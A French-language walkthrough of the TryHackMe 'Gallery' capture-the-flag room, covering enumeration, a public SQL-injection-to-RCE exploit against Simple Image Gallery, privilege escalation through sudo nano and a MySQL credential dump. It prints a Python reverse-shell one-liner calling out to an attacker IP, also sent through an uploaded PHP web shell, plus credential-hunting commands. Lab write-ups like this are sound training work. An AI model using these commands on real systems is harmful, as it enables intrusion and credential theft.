Gallery – Walkthrough Fr | TryHackMe – Write-up

Try to exploit our image gallery system

 

Gallery est un CTF easy de TryHackme. C’est tout ce qu’il y a de plus classique. Énumération, trouver l’exploit, effectuer l’escalade de privilège. 

Enumération

Commande :

nmap -sV -sC -p- 10.10.238.191

Web énumération :

Nous allons utiliser dirsearch sur les ports 80 et 8080 afin de déterminer quels sont les répertoires présents.

Commande :

dirsearch -u 10.10.238.191

Commande :

dirsearch -u 10.10.238.191:8080

 

Simple Image Gallery System.

La page /login.php nous amène sur une authentification dont on ne connait pas les identifiants.

En revanche, nous pouvons voir le CMS qui est utilisé. La landing page nous donne aussi la version du CMS. v1.0

Initial foothold

Une recherche google nous donne un exploit disponible pour ce CMS. Il s’agit d’un RCE suite à un bypass de l’authentification via une slqi. https://www.exploit-db.com/exploits/50214

Exploitation de la faille.

Il faut télécharger l’exploit et/ou l’enregistrer au format .py. Ensuite, il faut l’exécuter avec la commande suivante :

python3.9 50214.py

Sur TARGET= il faut mettre l’adresse du CMS. http://10.10.238.191:8080/

Accès au système.

Une fois l’exploit exécuter, il faut utiliser l’adresse fournit par l’exploit. À partir de là, il est possible de passer des commandes systèmes ainsi qu’un onliner reverse shell.

Python est installé sur le système. On peut donc l’utiliser pour récupérer un reverse shell.

Commande :

python3.6 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« 10.11.38.124 »,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’

Commande avec l’URL :

http://10.10.238.191/gallery/uploads/1644783960_TagosxtvnjlxilqprhyLetta.php?cmd=python3.6%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.11.38.124%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

 

Mouvement lateral vers Mike.

Après avoir upgrade le shell, il faut passer sur l’utilisateur Mike. Pour cela, avec l’aide de linpeas.sh, on trouve dans /var/backups/ mike_home_backup/ les identifiants de Mike.

Commande :

cat .bash_history

 

Commande :

su mike

password : celui trouvé dans bash_history

 

Escalade de privilège.

Une fois passé sur le compte de Mike, il faut faire sudo -l . Cela permet de voir quels sont les privilèges de l’utilisateur.

Mike a des droits sudo pour exécuter le script rootkit.sh. Il est fort possible que l’on puisse par ce biais-là, de passer root. Avant de l’exécuter, il faut voir ce qu’il y a dans le script.

Commande :

cat /opt/rootkit.sh

 

Il est possible de faire plusieurs choses avec ce script. Vérifier la version, faire un update mais aussi lire le rapport avec l’option read qui ouvrira le fichier report.txt avec nano.

Vu que la commande sera lancée avec des droits sudo, il sera possible une fois le fichier ouvert avec nano, de sortir de nano avec un shell en root. Tout ceci est montré sur le site bien connu https://gtfobins.github.io/gtfobins/nano/#sudo

Commande :

sudo /bin/bash /opt/rootkit.sh

 

Erreur ?

Il est possible d’avoir cette erreur : Error opening terminal: unknown.

Pour ne plus avoir cette erreur il faut faire cette commande :

export TERM=screen

Une fois le rapport ouvert avec nano, il faut faire ces commandes :

crtl + r  puis ctrl x

Cela permet d’exécuter des commandes systèmes. Ensuite, il faut mettre ses deux dernières commandes pour passer root.

reset ; sh 1>&0 2>&0

Comment récupérer le hash du compte admin.

Commande :

find / -maxdepth 8 -name *.php -type f 2>/dev/null | xargs grep -C 20 -i pass

 

Pour en savoir plus sur la commande find vous pouvez regarder cet article

Une fois les identifiants récupérer, il faut se connecter à au server MySQL

Commande :

mysql -u gallery_user -p

Ensuite, il faut faire ces commande : 

show databases;

use gallery_db

show tables;

select * from users;

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest